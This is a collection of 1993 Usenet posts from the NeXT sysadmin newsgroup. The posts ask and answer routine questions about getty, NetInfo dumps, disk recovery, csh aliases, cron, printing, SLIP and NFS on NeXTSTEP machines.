> works fine. After 120 seconds and no login yet, getty quits.
>
> But when the line is attached to a modem, getty does not timeout! As it
should.
> The problem probably is that there is no carrier yet and that getty still
is
> waiting to write the banner. It seems as if the timeout is not started when
> this has not been done.
>
> Is this a bug in getty?
No. Getty does not just 'die' on the direct connect. Instead, it is assumed
that once an instance of getty dies on a particular port, a new one will get
respawned immediately; thus re-allowing 'login' on the port. The 'to'
(timeout) feature is to allow the system to clean up a port that has an
incomplete login attempt on it. That way, someone cannot just dial-in and
leave; tying up the port indefinitely.
The problem is that getty simply gets to the point that it should 'open()'
the tty, and then blocks waiting for a carrier. The 'open()' system call is
what's waiting at that point. 'getty' isn't doing anything (not wasting any
system resources), and therefore doesn't need to be reset. If; on the other
hand, you want 'getty' to timeout on modems (ie. you want to allow a user to
attempt a dial-in for "x" amount of time - then if nothing happens, disable
the port) I don't know where to help other than write a script or C program
to do it 'your' way (like from Burger King).
I hope this helps.
--
robin "Batman really hates 'bats', but 'Frogman' was already taken..."
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Netinfo DumpDomain
Message-ID: <1993May25.230719.1238@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Tue, 25 May 1993 23:07:19 GMT
The perl script below will allow you to dump all or part of a netinfo
domain. I wrote it up after wasting a couple hours of mouse clicks
trying to find a discrepency between two printer directories on two
machines. You can call it anything you want. I call mine DumpDomain.
Without arguements, it prints usage, with one arguement, it thinks
that's a tagged domain, and will start at / on that domain, with two
arguments, it uses the second as the starting directory. Enjoy.
(Runs under Perl 4.010. Haven't tried with higher versions)
#! /usr/local/bin/perl
# This script is useful if you are running Nexts. It will dump #
# each directory in turn in a netinfo domain, and for each #
# directory will list the properties and values. #
# #
# S.G.Botsford #
# #
####################################################################
if (!($ARGV[0])) {
$0 = `basename $0`;
chop $0;
print "Usage $0 <DomainName> [<DirectoryName>]\n";
print " <DomainName> can be either . / or tagged domain\n";
print " <DirectoryName> defaults to /\n";
exit;
}
$Domain = $ARGV[0];
$DirName = "/";
$DirName = $ARGV[1] unless !($ARGV[1]);
print("Netinfo dump of Directory $DirName \nin Domain $Domain \nas of ",`date`);
print ("$DirName\n");
&ReadProps($DirName);
&ListDir ( $DirName, "");
sub ListDir {
local ($DirName, $Indent) = @_;
local (@Dir);
open (LIST,"niutil -list $Domain $DirName 2>&1 |");
@Dir = (<LIST>);
close(LIST);
foreach $D (@Dir) {
$D =~ /^niutil/ && next;
print "$Indent $D ";
&ReadProps($D);
($DirNum,$NextDir) = split(/\s+/,$D);
$DownDir = $DirName."/".$NextDir;
&ListDir( $DownDir, $Indent."- - ");
}
}
sub ReadProps{
local($D)= $_[0];
open (READ, "niutil -read $Domain $D|");
foreach $R (<READ>){
print "\t\t\t$R";
}
close (READ);
}
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
From: ali@elm.uucp (Ali Sidani)
Subject: Thanks for: Help!! File System FULL
Message-ID: <1993May25.235033.2564@cs.ucf.edu>
Sender: news@cs.ucf.edu (News system)
Organization: Intelligent Simulation and Training Systems
Date: Tue, 25 May 1993 23:50:33 GMT
Thank you all for your help. I have recovered my hard disk.
It was the swapfile. I tried booting from the CD drive that
did not help since I could not see my hard drive.
I tried all suggestions and what worked is the following :
>If your machine won't boot, you have to do the following:
>From the ROM monitor, bsd -sb
>That puts you into reallyreallyraw single-user mode. So raw, in fact, that
>your root partition is still mounted readonly (the -b in the boot command
>tells the NeXT not to source /etc/rc.boot, which mounts / readwrite and tries
>to write to / as a side effect). So,
>mount -o remount,rw /
>Now you're free to go in and blow away what you want gone. Don't get too
>carried away, though. :->
Thanks Mike , Karsten, Alex, Nicolas and Reid
Next time I will not clutter other groups with my posting (the reason I did,
beginners panic + my thesis is on the line)
Ali
ali@ists.engr.ucf.edu
From: glenn@iridium.digex.net (Glenn Rempe)
Newsgroups: comp.sys.next.sysadmin
Subject: Cshrc alias help
Date: 25 May 1993 23:54:33 GMT
Organization: Express Access Online Communications, Greenbelt MD USA
Distribution: world
Message-ID: <1tubjp$79o@news1.digex.net>
Hi all,
I have been working on various things throughout my system since
I have been reading the new book UNIX Power Tools published by
O'Reilly & Associates (Great book BTW!). One idea that caught my
eye was this, instead of putting and alias in my cshrc file which
would make certain operations safer on my machine, eg.:
alias rm rm -i
alias cp cp -i
They mentioned, why not alias commands like rm and rmdir to actually
mv the files, and or directories, into a local trash directory such
as ~/.NeXT/.NextTrash. This way you remove the files, for all
intents and purposes, but you don't delete them unless you explicitly
do so within NeXTSTEP with the empty recycler command. My question
is this, how do I set up such an alias? How do I get the aliased
mv command to receive the filename of the file I need to delete
and also pass the file I need to mv the deleted file to?
I like this idea, and you could even write a simple shell script
(emptytrash) which would go through your system and remove the
trash in all of the recyclers.
What do you think of this idea? I am learning a lot from the book,
but as you can see I still have a way to go! :-)
Thanks,
Glenn
--
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root@iridium.digex.net
900 North Stafford St., #2017
Arlington, VA 22203-1849
Voice: (703) 276-2350
FAX: (703) 243-4398
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: What do these error messages mean, please?
Message-ID: <8760@ucsbcsl.ucsb.edu>
Date: 25 May 93 23:41:35 GMT
Sender: root@ucsbcsl.ucsb.edu
Organization: Center for Computer Music Research and Composition, U.C.S.B.
I got the following error messages shortly after mounting an OD and using the
browser to look around on it:
May 25 16:37:35 Workspace: Mounted optical disk at /DISK_1
May 25 16:38:05 Workspace[7246]: Cannot fork for
/usr/lib/NextStep/Workspace.app/WM.app/AppFinder.tool
May 25 16:38:05 Workspace[7246]: No tool for launch notice on pid : 7288
May 25 16:38:06 Workspace[7246]: Cannot fork for
/usr/lib/NextStep/Workspace.app/WM.app/AppFinder.tool
May 25 16:38:07 Workspace[7246]: No tool for launch notice on pid : 7289
May 25 16:38:10 foxtrot syslog: NXMiniApp: Cannot receive init message : -203
Could someone please illuminate me as to the meaning of these?
Thanks!
--
Douglas Scott (805)893-8352
Center for Computer Music Research and Composition
University of California, Santa Barbara
Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Fax management
Message-ID: <1993May26.000956.3874@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Wed, 26 May 1993 00:09:56 GMT
I've just installed DFax. Good product. Documentation is a tad thin
yet, but they are working on it, and are VERY helpful with problems.
However, I need aid in managing fax reception. The host with the fax
modem is running NS 3.0, while all other machines, including the /
domain netinfo server are running 2.x.
So: How do I get notified about faxes:
Running either DFax's fax monitor OR FaxReader via NXHost doesn't work,
as the 2.x machines barf when the Level 2 PostScript hits.
Running FaxReader locally, even when the spool directory is readable on
the local machine results in a notice that I have no faxmodem. At that
point I can grovel through the directories and open the received fax
file.
Ideally, I'd like the fax host just to print the darn things, keep them
for a week, and discard. I think that this is possible using
PrinterManager, but unfortunately, printermanager refuses to modify the
existing Fax Modem, claiming that there is already a / domain faxmodem
of that name.
So:
1. Does anyone have a command line program that will print
a fax file.
2. Does anyone know the netinfo defaults to get the host to
print the faxfile automatically, and discard after a while.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
Subject: NS 3.0
Message-ID: <1tut99$llq@parsifal.umkc.edu>
From: ben@bigben.umsl.edu (Ben Pflanz)
Date: 26 May 1993 04:56:09 GMT
Organization: University of Missouri - Kansas City
Hello,
I have a chance to buy a real cheap copy of NS 3.0. Would I be able to
get the upgrade to 3.1 at a discount or would I have to pay full price for
it? Thanks.
Ben Pflanz
(ben@bigben.umsl.edu)
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,de.comp.sys.next
Subject: Printing with HP ink
Date: 26 May 1993 10:07:00 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <1tvfg5$k78@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Summary: How to print with an HP Deskjet
Keywords: HP-Deskjet, Printing Driver and 2.0
hello
is there a driver for a HP DeskJet Printer available in the PD?
Somebody want to give me one of these for nil and I just would
like to know, how much work it is to use it with my NeXT.
does it work with 2.0??
please reply via mail
thanx in advance
stephan
--
Stephan Fruhauf gonzo@opal.cs.tu-berlin.de
what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
Newsgroups: comp.sys.next.sysadmin
From: herring@iesd.auc.dk (B. Erickson Herring)
Subject: Re: Cshrc alias help
In-Reply-To: glenn@iridium.digex.net's message of 25 May 1993 23:54:33 GMT
Message-ID: <HERRING.93May26125319@fermat.iesd.auc.dk>
Sender: news@iesd.auc.dk (UseNet News)
Organization: Mathematics and Computer Science, Aalborg University
References: <1tubjp$79o@news1.digex.net>
Date: 26 May 1993 11:53:18 GMT
Glenn is: Glenn D. Rempe <glenn@iridium.digex.net>
Glenn> [...] One idea that caught my eye was this, instead of putting
Glenn> and alias in my cshrc file which would make certain operations
Glenn> safer on my machine, eg.:
Glenn> alias rm rm -i
Glenn> alias cp cp -i
Glenn> They mentioned, why not alias commands like rm and rmdir to
Glenn> actually mv the files, and or directories, into a local trash
Glenn> directory such as ~/.NeXT/.NextTrash. My question is this, how
Glenn> do I set up such an alias? How do I get the aliased mv command
Glenn> to receive the filename of the file I need to delete and also
Glenn> pass the file I need to mv the deleted file to?
Try: alias rm 'mv -i \!* ~/.NeXT/.NextTrash'
In [t]csh, `!*' gives you the rest of the command line after `rm'. On
the NeXT, at least, one is allowed to `mv' files across filesystems.
What happens, though, when you want to say `rm -rf some_dir'?
Another solution would be to write a little shell script to check that
you are on the same filesystem and do other housekeeping. This might
work, but is of limited utility except as a learning experience.
The Athena Project at MIT has versions of delete/undelete that
function as you would like -- maybe you should pick those up instead.
Try to think the problem all the way through before just aliasing
away, especially when logged in as root -- you'll save yourself much
grief.
Later,
Erick
--
-----
Erick Herring | Computation is the art of carefully throwing
H Data, Aalborg | away information [and] Life is the art of
UNIX Consulting | carefully throwing away opportunities, an
SysAdmin & Programming | interesting coincidental parallel.
herring@iesd.auc.dk | - Guy L. Steele Jr.
Control: cancel <HERRING.93May26125409@fermat.iesd.auc.dk>
Newsgroups: comp.sys.next.sysadmin
From: herring@iesd.auc.dk (B. Erickson Herring)
Subject: cancel <HERRING.93May26125409@fermat.iesd.auc.dk>
Message-ID: <HERRING.93May26125503@fermat.iesd.auc.dk>
Sender: news@iesd.auc.dk (UseNet News)
Organization: Mathematics and Computer Science, Aalborg University
Date: 26 May 1993 11:55:03 GMT
--
-----
Erick Herring | Computation is the art of carefully throwing
H Data, Aalborg | away information [and] Life is the art of
UNIX Consulting | carefully throwing away opportunities, an
SysAdmin & Programming | interesting coincidental parallel.
herring@iesd.auc.dk | - Guy L. Steele Jr.
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,de.comp.sys.next
From: tpg@rchland.vnet.ibm.com (Terry Gliedt)
Subject: Re: Printing with HP ink
Sender: news@rchland.ibm.com
Message-ID: <1993May26.125431.19291@rchland.ibm.com>
Date: Wed, 26 May 1993 12:54:31 GMT
Disclaimer: This posting represents the poster's views, not necessarily those of IBM
References: <1tvfg5$k78@news.cs.tu-berlin.de>
Organization: IBM Rochester
Keywords: HP-Deskjet, Printing Driver and 2.0
In article <1tvfg5$k78@news.cs.tu-berlin.de>, gonzo@cs.tu-berlin.de (S. F. Ruehauf) writes:
|> hello
|>
|> is there a driver for a HP DeskJet Printer available in the PD?
|> Somebody want to give me one of these for nil and I just would
|> like to know, how much work it is to use it with my NeXT.
|>
|> does it work with 2.0??
There are a couple of options for using a DJ. There is a commercial package
called Dots that isn't particularly expensive. There is also software at orst
and sonata to provide support for the DJ.
I do not believe the serial support in 2.0 is good enough for anything. In order
to use the DJ, you will need to upgrade to 2.1 at least.
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: set user cron job
Message-ID: <1993May26.154841.10125@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993May14.211800.11377@schbbs.mot.com>
Date: Wed, 26 May 1993 15:48:41 GMT
Hao Wang (hwang@nextvm5.corp.mot.com) wrote:
: Hi there,
:
: I am try to set up a cron job for user. I have no document. It seems
: different compare with other unix box. Can some out there help me.
: Thanks.
BSD cron is limited, and is designed to run only root or administrative
jobs. However, a SYSVish cron is available as vixie-cron-2.1-next.tar.Z
available at finer archive sites everywhere
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: bill@alamut.cognet.ucla.edu (William M. Eldridge)
Newsgroups: comp.sys.next.sysadmin
Subject: Major hint on mailboxes
Date: 26 May 1993 10:52:36 -0700
Organization: UCLA Cognitive Science Research Program
Message-ID: <1u0ap4$ejd@alamut.cognet.ucla.edu>
I meant to post this to sysadmin.
And I know this is in the user documentation,
but I never read it all the way through, as
I'm sure most people don't.
Perhaps most people know this, but if you don't:
I just discovered that Nextmail doesn't delete
mail you click delete on. You have to then
hit Command-k, or the compact option under
Utilities for that to happen.
If you get a lot of mail, you could have a lot
of "deleted" files still saved that you don't
realize haven't been erased. I had 5.5 Meg extra,
my boss had about 20 Meg extra.
--
{{{{ bill eldridge 310-206-3960 x }}}}
{{{{ bill@cognet.ucla.edu 310-206-3987 fax xxx }}}}
{{{{ ~more, ~better, ~faster [80's motto] x }}}}
{{{{ ~hot, ~toxic, and ~shallow [90's motto] }}}}
Newsgroups: comp.sys.next.sysadmin
From: davis@masig.fsu.edu (Alan Davis)
Subject: elm and filter problems
Sender: usenet@mailer.cc.fsu.edu
Organization: Florida State University ACNS
Date: Wed, 26 May 1993 19:05:19 GMT
Message-ID: <C7nECv.1Iv@mailer.cc.fsu.edu>
I've installed elm2.4 PL 21 on our NeXT cube, stll running 2.1, and am
having problems with the filter program. Had initial problems with the
Configure script, but managed to solve those and can use elm to send/read
mail. However, filter does not seem to be working, messages just stay in
the mailbox, but unning filter -r does seem to work as it spits out the
rules. Even tried the simple cat command in the .forward file and was not
able to get that to work. Is there a special syntax required or is
sendmail unable to pipe mail into a command?
--
_____________________________________________________________________
Alan Davis |
MS B-174 008A Love Bldg. | davis@masig.fsu.edu
Mesoscale Air-Sea Interaction Group |
Florida State University | Tele: 904-644-3798
Tallahassee, FL 32306-3041 |
Newsgroups: comp.sys.next.sysadmin
From: edmtl@alf.uib.no (Thor Legvold)
Subject: Re: How can I print .ps file two-up?
Message-ID: <1993May26.195558.26060@alf.uib.no>
Organization: University of Bergen, Norway
References: <1993May24.195530.7882@rna.indiv.nluug.nl>
Date: Wed, 26 May 93 19:55:58 GMT
gerben@rna.indiv.nluug.nl writes:
: See subject.
Format --> PageLayout...
Size, portrait/landscape, etc etc
1up
2up
4up
etc etc...
In about all (probably all) menus adhering to NeXT GUI guidelines.
:
: Thanks,
:
: --
: Gerben Wierda [NeRD:7539] gerben@rna.indiv.nluug.nl
: "If you don't know where you are going, any road will
: take you there." From the Talmud(?), rephrased in
: Lewis Carroll, "Alice in Wonderland".
Regards,
Thor
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Newsgroups: comp.sys.next.sysadmin
From: A Ried Thiel (ried@NorthStar.com)
Subject: Re: set user cron job
Message-ID: <C7nF0v.8Dr@northstar.com>
Sender: usenet@northstar.com (usenet)
Organization: NorthStar Technologies, Inc.
References: <1993May26.154841.10125@kakwa.ucs.ualberta.ca>
Date: Wed, 26 May 1993 19:19:43 GMT
In article <1993May26.154841.10125@kakwa.ucs.ualberta.ca>
sherwood@space.ualberta.ca (System Administrator) writes:
> Hao Wang (hwang@nextvm5.corp.mot.com) wrote:
> : Hi there,
> :
> : I am try to set up a cron job for user. I have no document. It seems
> : different compare with other unix box. Can some out there help me.
> : Thanks.
>
> BSD cron is limited, and is designed to run only root or administrative
> jobs. However, a SYSVish cron is available as vixie-cron-2.1-next.tar.Z
> available at finer archive sites everywhere
>
> --
> => Sherwood Botsford sherwood@space.ualberta.ca <=
> => University of Alberta Lab Manager, Space Physics Group <=
> => tel:403 492-3713 fax: 403 492-4256 <=
It is possible using NeXT's cron to have the command run as that user.
0 1 * * * root su <username> -c '<program>'
This cron entry would run every morning at 1:00am as the user that you
substitute in <username>.
From: statman@stat.ufl.edu (charles d. kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: NewsGrazer bug? FAQ, I'm sure.
Date: 27 May 1993 02:40:51 GMT
Organization: University of Florida
Message-ID: <1u19njINN14i@no-names.nerdc.ufl.edu>
Keywords: NewsGrazer, swapdisk, bugs
Hello,
I have seen numerous posts regarding bugs in NewsGrazer.
Unfortunately, with my limited time I have passed over all of them.
Now I've been hit. I am not positive that the bug is in NG, but it
happens with NG. Here it is.
I converted my internal Quantum 105MB harddrive into a
swapdisk today. (Everything works much faster!) Now when I try to
read the comp.emacs group with NG it crashes. Not errors on the
console or anything, so I have no idea why. I'm sure that it is a
coincidence that it happens with comp.emacs, but it has always
happened with comp.emacs. I suppose it is possible that there is a
problem with the swapdisk. I ran an 'fsck' and it came back fine.
(Does this mean anything?)
Has anyone else had this problem? I know that most of you
are at NWE (you bums! I envy you. :-), so I'll repost in a few days
if I don't here anything. Ideas? Suggestions? Questions? Please?
--
Sincerely,
charles d. kincaid
--------------------------------------------------------------------
Dept. of Statistics 'Damn fine coffee...and hot, too!'
Univ. of Florida Pres: G-ville NeXT Users Group
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From: verket@venice.sedd.trw.com (Paul Verket)
Subject: SLIP and NTP
Message-ID: <1993May27.033046.13695@venice.sedd.trw.com>
Originator: verket@verket-home
Sender: news@venice.sedd.trw.com (USENET News)
Organization: TRW Systems Engineering & Development Division, Carson, CA
Date: Thu, 27 May 1993 03:30:46 GMT
I've been using Louis Mamakos' SLIP for quite a while with no problems. I
finally got tired of my machine's clock always being wrong so I thought I'd set
up to use the Network Time Protocol against a work machine over my slip line.
I only want NTP to poll my work machine IF I already have the line up for other
reasons so I added a .access file to my diald.conf that excluded UDP (NTP uses
UDP). My problem is that as soon as a UDP packet is blocked, the line also
won't respond to TCP or ICMP packets either! Am I doing something wrong or is
this designed this way?
In the following logged example, I did an "/usr/etc/ntp -F" while my slip line
was down. The request (at 18:50) didn't bring up the line. I then tried to rsh
to a work machine (before 18:55). The line still didn't come up. If I try after
18:55 then all is well unless another UDP packet is rejected before me.
My slipsrv.access file has the line:
protocols tcp rdp icmp
The SLIP log says:
May 26 18:50:32 diald[131]: Unauthorized protocol UDP (17)
May 26 18:50:32 diald[131]: slip0 non-authorized packet
May 26 18:55:31 mach: dutimer: unit 0 - shutdown, we never had a line.
May 26 18:55:31 mach: dutnetclose: ds 1102a000 dstty 0 unit 0
My configuration is: a NeXT 040 running 3.0, Dial-Up IP version 920904
Thanks for any help...
Paul Verket (NeXTmail ok)
From: bosborne@nature.BErkeley.EDU
Newsgroups: comp.sys.next.sysadmin
Subject: gnutar example
Date: 27 May 1993 00:25:19 -0400
Organization: The Ohio State University
Sender: daemon@magnus.acs.ohio-state.edu
Message-ID: <9305270425.AA01981@nature.berkeley.edu.cnr-net>
To the group,
Please excuse my beginner's question, but my explorations have not
yielded any answers to this problem. I would like to use gnutar to
do an incremental backup to my tapedrive. Could someone supply an
example command to me? gnutar backs up, but ignores '+update' no
matter where I put it. I cannot seem to use the '-g' option either.
Please respond to my address, and I will
gladly summarize to the group (or is this just _too_ elementary :-)?
Thank you for your attention to this matter,
------------------------------------------------------------
Brian Osborne Plant Gene Expression Center
bosborne@insect.berkeley.edu Albany CA USA
------------------------------------------------------------
From: neuss@igd.fhg.de (Christian Neuss )
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: HD crash... need good advice and pain killers.
Keywords: crash, SCSI, Toshiba, crap
Message-ID: <neuss.738434793@ramazzotti>
Date: 26 May 93 16:46:33 GMT
References: <1993May23.223830.11649@galileo.cc.rochester.edu> <1993May24.125628.31246@rchland.ibm.com>
Sender: news@igd.fhg.de
Followup-To: comp.sys.next.sysadmin
tpg@rchland.vnet.ibm.com (Terry Gliedt) writes:
>In article <1993May23.223830.11649@galileo.cc.rochester.edu>, jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes:
>|>
>|> While attempting my first backup (I'm a poor student, so I have to borrow a
>|> tape drive... no backup flames, please.) somehow my 1.2G Toshiba MK-538FB
>|> drive bit the dust. It now usually refuses to come ready and makes a really
>|> bad-sounding "clunk-clunk-clunk" instead of the pleasant little chirp it
>|> usually makes when it comes up to speed.
>|>
>|> Questions:
>|> Has anyone had similar experiences with Toshiba (or any) HDs?
>|> Is it more likely a head crash or chip burnout (solid state error)?
>|> Does anyone have any good reccomendations for data recovery firms?
[munch]
>If, for instance the label area of your disk was trashed, the operating system
>would not be able to find important areas of the disk and the disk would cycle
>again and again with this click-click sound.
>Unfortunately I was never able to revive any disk that got in this condition
>(but
>then I had backups that worked). I suspect it is possible to resurrect your
>disk, but I can't give you any more help than some sympathy. Good luck
Oh-oh.. poor chap.. what one *can* do is the following.. we once
had a disk crash and did this..
If the disk is not physically defect, one can still access it via the raw
interface via /dev/rsd0a (number may be different, since you'll need
another disk for booting). What you can then do is dump the disk on a tape,
and then process that tape block by block.. you'll lose alot, but you can
at least retrieve some data.
The first thing to try is boot via CDROM or via another HD (or even attach
this disk to another machine), so that your disk is *not* the bootdisk,
but an additional data disk.
MAKE A DUMP TO TAPE FIRST
or perhaps its possible to set the disk read-only. Some disks have
jumpers for this purpose. It might be possible to read that disk.
perhaps.. well probably.. you'll have to fsck first..
but if you are lucky, only the bootrecord is crashed.. and perhaps
the data files are still ok..
What does the monitor say BTW? enter it via cmd-cmd-~ or alt-cmd-~ if
you have a turbostation, then type mon, then (in mon) type "b" for boot.
Then you're able to see the diagnostic messages.. could be helpfull.
Good luck man
Chris
/*
* Christian Neuss % neuss@igd.fhg.de % ..in the humdrum
*/
From: dbora@ils.nwu.edu (Donald Bora)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.programmer
Subject: Optical disk problems...
Date: 27 May 1993 18:26:25 GMT
Organization: The Institute for the Learning Sciences
Distribution: world
Message-ID: <1u314h$41h@anaxagoras.ils.nwu.edu>
I have an optical disk question. I acquired a Next cube knowing full
well that the OD didn't work. Well, I used the instructions for opening
up the drive and cleaning it out and I am farther (it was mega dusty)
but not quite all the way there.
I tried to read the first disk and got disk errors in the 280000 sector
( I think ) ... I reformatted the disk and was able to read and write
information, however, I still was getting those disk errors. Just to
be sure it was the drive and not the disk I borrowed another disk from
someone and got the same errors reading. A friend of mine has suggested
that it may be an alignment thing.
Anybody out there have any comments?
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The Institute for the Learning Sciences | | O |
Northwestern University | (--|--)
Evanston, Ill | |
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--------Be excellent to each other--------
From: arzt@dccs.upenn.edu (Noam H. Arzt)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Using NEXTSTEP for a Mac server and connection to Unix network
Message-ID: <128595@netnews.upenn.edu>
Date: 27 May 93 20:07:59 GMT
References: <1993May19.030452.9893@csus.edu>
Sender: news@netnews.upenn.edu
In article <1993May19.030452.9893@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott)
writes:
>
> What *exactly* do you want under the heading "Macintosh
> connectivity?"
>
This is the REAL question...
> Things you can do *without* IPT products:
>
> + Read and write Macintosh-formatted diskettes
This may fall out of NS486 to IPT's privately packaged products...
> + Run Macintosh applications on NeXT hardware
..with Executor
> + Transfer files between NeXTs and Macs, with either side
> initiating the transfer
..with a good ftp client...
> + Have NeXT files appear on Mac as network mounted volumes
..only with a Mac NFS client, like NFS/Share from Intercon (just got it an dit
works fine)
> + Print from NeXTs to an Apple LaserWriter
..using built-in AppleTalk support if it stays in NS/Intel...
> + Print from Macs to a NeXT Laser Printer
.. not without an LPR client, like Intercon's InterPrint
> + Send and receive electronic mail
Best way is to probably using a POP server (like Popper) on the NeXT, and a POP
client (like Eudora) on the Mac's.
> + Log onto NeXT remotely with ASCII terminal interface
.. no problem...
> + Access databases stored on the NeXT side
>
not sure what this means or how you do it...
I don't think IPT's software buys you many SERVER features, but mostly client
features, other than bi-directional AppleTalk printing...
--
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Director, Special Projects 215/898-9348 (FAX)
University of Pennsylvania arzt@dccs.upenn.edu
Data Communications & Computing Services (NeXTmail is OK)
Suite 221A, 3401 Walnut Street, Philadelphia, PA 19104
From: huffb@ix.tsg.com (Robert Huff)
Newsgroups: comp.sys.next.sysadmin
Subject: Associating Applications with Suffixes
Date: 27 May 1993 20:42:09 GMT
Organization: Telos Systems Group, Chantilly, VA
Message-ID: <1u3931$n1m@obelix.tsg.com>
Hi!
How can I associate a program's suffix with a NeXT app? For example, I
double-click on a JPEP file and NeXT starts up the image viewer.
Thanks.
Newsgroups: comp.sys.next.sysadmin
From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: SunOS/Solaris NFS mounted drives - BUG?
Message-ID: <1993May27.201738.3213@linus.mitre.org>
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
Date: Thu, 27 May 1993 20:17:38 GMT
I remember reading at some point of a bug that appears when NeXT
writes to NFS mounted SUN devices. Can anyone provide more details
(i.e. what version of NEXTSTEP effected, patches, etc.)
Thanks,
Jason
--
Jason D. Blue
NeXT Network and Systems Administrator
The MITRE Corporation, McLean, VA
jblue@mitre.org (NeXT Mail Encouraged!)
From: rcc@next1.math.pitt.edu (robert cyphers)
Newsgroups: comp.sys.next.sysadmin
Subject: Autonfsmount Hangs
Keywords: automount autonfsmount mount
Message-ID: <12533@blue.cis.pitt.edu>
Date: 27 May 93 22:00:53 GMT
Sender: news+@pitt.edu
Hello NeXT netters,
Under NeXTStep 2.1, after I execute the following mount command (on host
'next6')
next6% /usr/etc/mount -t nfs -o rw,bg,net next1:/users /Net
then when I click on /Net/next7 (for example) in the WorkspaceMgr,
the computer hangs with a spinning wheel. The error message
(/usr/adm/messages) says:
May 26 14:16:27 next6 mach: NFS server (autonfsmount[100]) not responding
still trying
Before I execute the mount command I can view the directory /Net/next7/
with the WorkspaceMgr or ls. Why would the NFS mount of next1:/users
cause the automount to hang? The next1 exports /users properly (I think):
/ -access=next6:next7:nexttecroot=next11
Robert C Cyphers
Newsgroups: comp.sys.next.sysadmin
From: iwelch@agsm.ucla.edu (Ivo Welch)
Subject: HP LJ 4M - printing a PCL file?
Message-ID: <1993May27.144938.18015@mic.ucla.edu>
Organization: UCLA, Anderson Graduate School Of Management
Date: 27 May 93 14:49:37 PDT
Now that I have a PCL+PS printer, is there a way to also spool
PCL files to it?
/ivo welch
Newsgroups: comp.sys.next.sysadmin
From: petcher@ebenezer.wustl.edu (Donald N. Petcher)
Subject: Building non-standard boot disks
Message-ID: <1993May28.012843.27586@wuphys.wustl.edu>
Sender: usenet@wuphys.wustl.edu (USENET)
Organization: Washington U. Physics Dept
Date: Fri, 28 May 1993 01:28:43 GMT
I have a MOST optical drive (reads 128 Mb ISO and 256Mb proprietary disks) and
I would like to make a boot disk out of one of the 256Mb disks. The amount of
data I will be loading is somewhat over 200Mb which should work. However,
Builddisk (which treats this disk as another hard disk) chooses a default
format that causes an inode to take about 23k rather than the usual 4k of
space. Thus too much space is taken as overhead and there is not enough space
left for the data.
newfs (run by Builddisk via disk) tells me that if I set the cylinders/group
to a lower number (16 is chosen by default), less will be used per inode.
Indeed if I do this by hand running newfs (-c option) then it works. The
problem is to get Builddisk to do this. The script used by Builddisk
(/usr/etc/builddisk) calls newfs through disk. It appears that there is no way
to change the arguments sent to newfs via disk, nor is there a way to change
the arguments sent to disk via builddisk anyway. Does anyone know of a way to
do this?
It appears that if I make a proper disktab entry for the MOST drive, then it
would work (but presently I don't know all the parameters I should use). So
this information would be useful also. Can anyone help?
--
Don Petcher, petcher@wuphys.wustl.edu, petcher@ebenezer.wustl.edu
Department of Physics, Washington University, Saint Louis, Missouri 63130
Newsgroups: comp.sys.next.sysadmin
From: rprice@cbnewsg.cb.att.com (rodney.price)
Subject: 3.0 upgrade advice: it's slow....
Message-ID: <C7pq3C.Lxo@cbfsb.cb.att.com>
Keywords: 3.0 upgrade slow
Sender: news@cbfsb.cb.att.com
Organization: AT&T
Date: Fri, 28 May 1993 01:13:59 GMT
Thanks to all those who responded to my post by email. I first
tried using the 3.0 upgrade app, but when my computer hung after
the reboot process I decided to wipe the internal disk entirely
and install from scratch. (My old NextLibrary directory was
over on the external disk, with a soft link on the internal
pointing to it. Apparently this can cause problems with the
upgrade.)
Now I've installed the user system, the developer, documentation,
and TeX packages on my internal drive. When I first did this,
I got the Xoxeroids game installed, and found that, if anything,
it was too fast. Now it's so slow it's unplayable, even right
after a reboot. Earlier tonight my computer got slower, slower,
still slower, and after a trip to the vending machines I came
back to find it completely unresponsive. The mouse pointer still
moved but clicking had no effect. The machine was so far gone
that it didn't even respond to the power key. Calling up the NMI
monitor worked, but typing "halt" had no effect. I finally had
to unplug the computer to reboot.
I'm at a loss for answers. I'd appreciate some help.
Thanks very much,
Rod Price
rprice@physics.att.com
Newsgroups: comp.sys.next.sysadmin
From: ben@frogware.com (Ben Bernhard)
